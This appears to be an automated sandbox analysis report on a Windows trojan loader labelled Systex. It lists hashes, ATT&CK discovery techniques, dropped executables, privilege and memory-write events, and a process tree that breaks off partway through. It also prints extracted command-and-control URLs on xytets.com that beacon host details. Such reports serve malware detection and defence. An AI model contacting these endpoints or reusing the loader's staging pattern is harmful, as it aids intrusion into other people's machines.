systex | 3db0f18623ba2e4ec8e0ad37f9e8a11f9f25c50d26ce3977174a435ba088b444

Analysis

max time kernel
149s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260630-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260630-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
06/07/2026, 16:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Size 361KB
Sample260706-tym1tsdv5j
SHA256 3db0f18623ba2e4ec8e0ad37f9e8a11f9f25c50d26ce3977174a435ba088b444
MD5 a0d9713de60c38cd1e21edc921912ce1
SHA1 bacbcb2c534e6364812081668f2c909d35f91758
SHA512 dc239c6b97ecd0646badf30589b77f4dc3b969be09cc3147dabd74e2b7689ca036cef4663122c2027fb743c5c3f3eec5ed77f8765eb4b1581082f4e1d203b696
SSDEEP 6144:EflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:EflfAsiVGjSGecvX
TLSH
T1F0747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba
http://xytets.com:2345/t.asp?os=home
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
3676	hfzusmkfcauspkic.exe
832	hfzusmkfcauspkic.sys
4744	CreateProcess.exe
3712	mkhczupnkf.exe
4556	CreateProcess.exe
5196	CreateProcess.exe
3944	i_mkhczupnkf.exe
720	mjhczxrpjh.sys
4688	CreateProcess.exe
2132	eczusmkecw.exe
2856	CreateProcess.exe
4572	CreateProcess.exe
940	i_eczusmkecw.exe
4156	uomjebwuom.sys
1304	CreateProcess.exe
2356	mjecwuomge.exe
1824	CreateProcess.exe
5240	CreateProcess.exe
3880	i_mjecwuomge.exe
3144	wuomgeywuo.sys
260	CreateProcess.exe
4160	jgbztrljgb.exe
4608	CreateProcess.exe
876	CreateProcess.exe
4492	i_jgbztrljgb.exe
5900	ywqoigbwtr.sys
2216	CreateProcess.exe
5816	oigbywqoid.exe
3492	CreateProcess.exe
5444	CreateProcess.exe
2832	i_oigbywqoid.exe
5436	yvqoigdywq.sys
1404	CreateProcess.exe
3384	qlidbvtnlg.exe
5188	CreateProcess.exe
1108	CreateProcess.exe
3848	i_qlidbvtnlg.exe
4840	aysqkidavs.sys
5484	CreateProcess.exe
3608	snlfdavsnk.exe
4172	CreateProcess.exe
704	CreateProcess.exe
3020	i_snlfdavsnk.exe
1216	nifaqnhfax.sys
1396	CreateProcess.exe
1600	usnhfzxspk.exe
564	CreateProcess.exe
1508	CreateProcess.exe
2860	i_usnhfzxspk.exe
4844	faxsqkicau.sys
2036	CreateProcess.exe
5640	nkecxupnhf.exe
3956	CreateProcess.exe
3528	CreateProcess.exe
2668	i_nkecxupnhf.exe
3896	caujhczusn.sys
3968	CreateProcess.exe
3552	mhfzxrmkhc.exe
720	CreateProcess.exe
2024	CreateProcess.exe
976	i_mhfzxrmkhc.exe
3236	uomgezwrpj.sys
4676	CreateProcess.exe
1496	jhbzurmjhb.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2064_2073604525\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2064_1584341700\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2064_1584341700\protocols.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 40 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhbzurmjhb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mkhczupnkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jgbztrljgb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_oigbywqoid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	snlfdavsnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_snlfdavsnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nkecxupnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eczusmkecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_usnhfzxspk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mhfzxrmkhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bztrojgbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tqoigeywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dyvqoigdyo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wuomgezwrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkhczupnkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jgbztrljgb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qlidbvtnlg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mhfzxrmkhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhbzurmjhb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qnigaysqni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hfzusmkfcauspkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eczusmkecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oigbywqoid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tqoigeywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xrpmhfzxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bztrojgbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mjecwuomge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qlidbvtnlg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dyvqoigdyo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_snkfcxvpnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xrpmhfzxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	usnhfzxspk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qnigaysqni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	snkfcxvpnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ecausmkfcx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mjecwuomge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nkecxupnhf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecausmkfcx.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
6076	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 19 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3368	ipconfig.exe
5984	ipconfig.exe
4708	ipconfig.exe
4552	ipconfig.exe
252	ipconfig.exe
5688	ipconfig.exe
3404	ipconfig.exe
2860	ipconfig.exe
4404	ipconfig.exe
2684	ipconfig.exe
1828	ipconfig.exe
976	ipconfig.exe
1500	ipconfig.exe
5896	ipconfig.exe
1232	ipconfig.exe
5228	ipconfig.exe
3912	ipconfig.exe
4492	ipconfig.exe
3812	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2132828192-1552876075-2324613956-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2132828192-1552876075-2324613956-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2132828192-1552876075-2324613956-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134278288940306934"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2132828192-1552876075-2324613956-1000\{CD28CA9C-BC30-4300-8EED-188E2532E1A8}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3676	hfzusmkfcauspkic.exe
3676	hfzusmkfcauspkic.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3676	hfzusmkfcauspkic.exe
3676	hfzusmkfcauspkic.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3676	hfzusmkfcauspkic.exe
3676	hfzusmkfcauspkic.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3676	hfzusmkfcauspkic.exe
3676	hfzusmkfcauspkic.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3676	hfzusmkfcauspkic.exe
3676	hfzusmkfcauspkic.exe
3676	hfzusmkfcauspkic.exe
3676	hfzusmkfcauspkic.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3676	hfzusmkfcauspkic.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3676	hfzusmkfcauspkic.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
2064	msedge.exe
2064	msedge.exe
2064	msedge.exe
2064	msedge.exe
2064	msedge.exe

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	3944	i_mkhczupnkf.exe
Token: SeDebugPrivilege	940	i_eczusmkecw.exe
Token: SeDebugPrivilege	3880	i_mjecwuomge.exe
Token: SeDebugPrivilege	4492	i_jgbztrljgb.exe
Token: SeDebugPrivilege	2832	i_oigbywqoid.exe
Token: SeDebugPrivilege	3848	i_qlidbvtnlg.exe
Token: SeDebugPrivilege	3020	i_snlfdavsnk.exe
Token: SeDebugPrivilege	2860	i_usnhfzxspk.exe
Token: SeDebugPrivilege	2668	i_nkecxupnhf.exe
Token: SeDebugPrivilege	976	i_mhfzxrmkhc.exe
Token: SeDebugPrivilege	4828	i_jhbzurmjhb.exe
Token: SeDebugPrivilege	1252	i_bztrojgbzt.exe
Token: SeDebugPrivilege	5716	i_tqoigeywqo.exe
Token: SeDebugPrivilege	2996	i_dyvqoigdyo.exe
Token: SeDebugPrivilege	3440	i_qnigaysqni.exe
Token: SeDebugPrivilege	3100	i_snkfcxvpnh.exe
Token: SeDebugPrivilege	2568	i_ecausmkfcx.exe
Token: SeDebugPrivilege	4396	i_xrpmhfzxrp.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2064	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3516 wrote to memory of 3676	3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	88
PID 3516 wrote to memory of 4976	3516	2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	89
PID 4976 wrote to memory of 2064	4976	iexplore.exe	90
PID 2064 wrote to memory of 3164	2064	msedge.exe	91
PID 2064 wrote to memory of 6076	2064	msedge.exe	92
PID 2064 wrote to memory of 5124	2064	msedge.exe	94
PID 2064 wrote to memory of 5124	2064	msedge.exe	94
PID 2064 wrote to memory of 5580	2064	msedge.exe	93
PID 2064 wrote to memory of 5580	2064	msedge.exe	93
PID 2064 wrote to memory of 5580	2064	msedge.exe	93
PID 2064 wrote to memory of 2328	2064	msedge.exe	96
PID 2064 wrote to memory of 6088	2064	msedge.exe	97
PID 2064 wrote to memory of 2328	2064	msedge.exe	96
PID 2064 wrote to memory of 2328	2064	msedge.exe	96
PID 2064 wrote to memory of 6088	2064	msedge.exe	97
PID 2064 wrote to memory of 6088	2064	msedge.exe	97
PID 2064 wrote to memory of 4428	2064	msedge.exe	98
PID 2064 wrote to memory of 4428	2064	msedge.exe	98
PID 2064 wrote to memory of 4428	2064	msedge.exe	98
PID 2064 wrote to memory of 2972	2064	msedge.exe	99
PID 2064 wrote to memory of 2972	2064	msedge.exe	99
PID 2064 wrote to memory of 2972	2064	msedge.exe	99
PID 2064 wrote to memory of 4968	2064	msedge.exe	100
PID 2064 wrote to memory of 4968	2064	msedge.exe	100
PID 3676 wrote to memory of 4744	3676	hfzusmkfcauspkic.exe	104
PID 3712 wrote to memory of 4556	3712	mkhczupnkf.exe	107
PID 2064 wrote to memory of 4260	2064	msedge.exe	110
PID 2064 wrote to memory of 6104	2064	msedge.exe	111
PID 2064 wrote to memory of 4260	2064	msedge.exe	110
PID 2064 wrote to memory of 6104	2064	msedge.exe	111
PID 2064 wrote to memory of 5728	2064	msedge.exe	113
PID 2064 wrote to memory of 5148	2064	msedge.exe	114
PID 2064 wrote to memory of 5148	2064	msedge.exe	114
PID 2064 wrote to memory of 5540	2064	msedge.exe	117
PID 2064 wrote to memory of 5540	2064	msedge.exe	117
PID 3676 wrote to memory of 5196	3676	hfzusmkfcauspkic.exe	118
PID 3676 wrote to memory of 4688	3676	hfzusmkfcauspkic.exe	122
PID 2132 wrote to memory of 2856	2132	eczusmkecw.exe	124
PID 3676 wrote to memory of 4572	3676	hfzusmkfcauspkic.exe	127
PID 3676 wrote to memory of 1304	3676	hfzusmkfcauspkic.exe	131
PID 2356 wrote to memory of 1824	2356	mjecwuomge.exe	133
PID 3676 wrote to memory of 5240	3676	hfzusmkfcauspkic.exe	136
PID 3676 wrote to memory of 260	3676	hfzusmkfcauspkic.exe	141
PID 4160 wrote to memory of 4608	4160	jgbztrljgb.exe	143
PID 3676 wrote to memory of 876	3676	hfzusmkfcauspkic.exe	146
PID 2064 wrote to memory of 1600	2064	msedge.exe	148
PID 2064 wrote to memory of 1132	2064	msedge.exe	149
PID 2064 wrote to memory of 2032	2064	msedge.exe	150
PID 3676 wrote to memory of 2216	3676	hfzusmkfcauspkic.exe	153
PID 5816 wrote to memory of 3492	5816	oigbywqoid.exe	155
PID 3676 wrote to memory of 5444	3676	hfzusmkfcauspkic.exe	158
PID 3676 wrote to memory of 1404	3676	hfzusmkfcauspkic.exe	162
PID 3384 wrote to memory of 5188	3384	qlidbvtnlg.exe	164
PID 3676 wrote to memory of 1108	3676	hfzusmkfcauspkic.exe	167
PID 3676 wrote to memory of 5484	3676	hfzusmkfcauspkic.exe	171
PID 3608 wrote to memory of 4172	3608	snlfdavsnk.exe	173
PID 3676 wrote to memory of 704	3676	hfzusmkfcauspkic.exe	176
PID 3676 wrote to memory of 1396	3676	hfzusmkfcauspkic.exe	180
PID 1600 wrote to memory of 564	1600	usnhfzxspk.exe	182
PID 2064 wrote to memory of 2076	2064	msedge.exe	185
PID 2064 wrote to memory of 2076	2064	msedge.exe	185
PID 3676 wrote to memory of 1508	3676	hfzusmkfcauspkic.exe	189
PID 3676 wrote to memory of 2036	3676	hfzusmkfcauspkic.exe	193
PID 5640 wrote to memory of 3956	5640	nkecxupnhf.exe	195

C:\Users\Admin\AppData\Local\Temp\2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-06_a0d9713de60c38cd1e21edc921912ce1_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3516
- C:\Temp\hfzusmkfcauspkic.exe
  C:\Temp\hfzusmkfcauspkic.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3676
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mkhczupnkf.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4744
  - - C:\Temp\mkhczupnkf.exe
      C:\Temp\mkhczupnkf.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3712
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4556
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1828
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_mkhczupnkf.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5196
  - - C:\Temp\i_mkhczupnkf.exe
      C:\Temp\i_mkhczupnkf.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3944
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\eczusmkecw.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4688
  - - C:\Temp\eczusmkecw.exe
      C:\Temp\eczusmkecw.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2132
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2856
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3404
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_eczusmkecw.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4572
  - - C:\Temp\i_eczusmkecw.exe
      C:\Temp\i_eczusmkecw.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:940
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mjecwuomge.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1304
  - - C:\Temp\mjecwuomge.exe
      C:\Temp\mjecwuomge.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2356
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1824
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5228
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_mjecwuomge.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5240
  - - C:\Temp\i_mjecwuomge.exe
      C:\Temp\i_mjecwuomge.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3880
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jgbztrljgb.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:260
  - - C:\Temp\jgbztrljgb.exe
      C:\Temp\jgbztrljgb.exe ups_run
      4⤵
      Executes dropped EXE
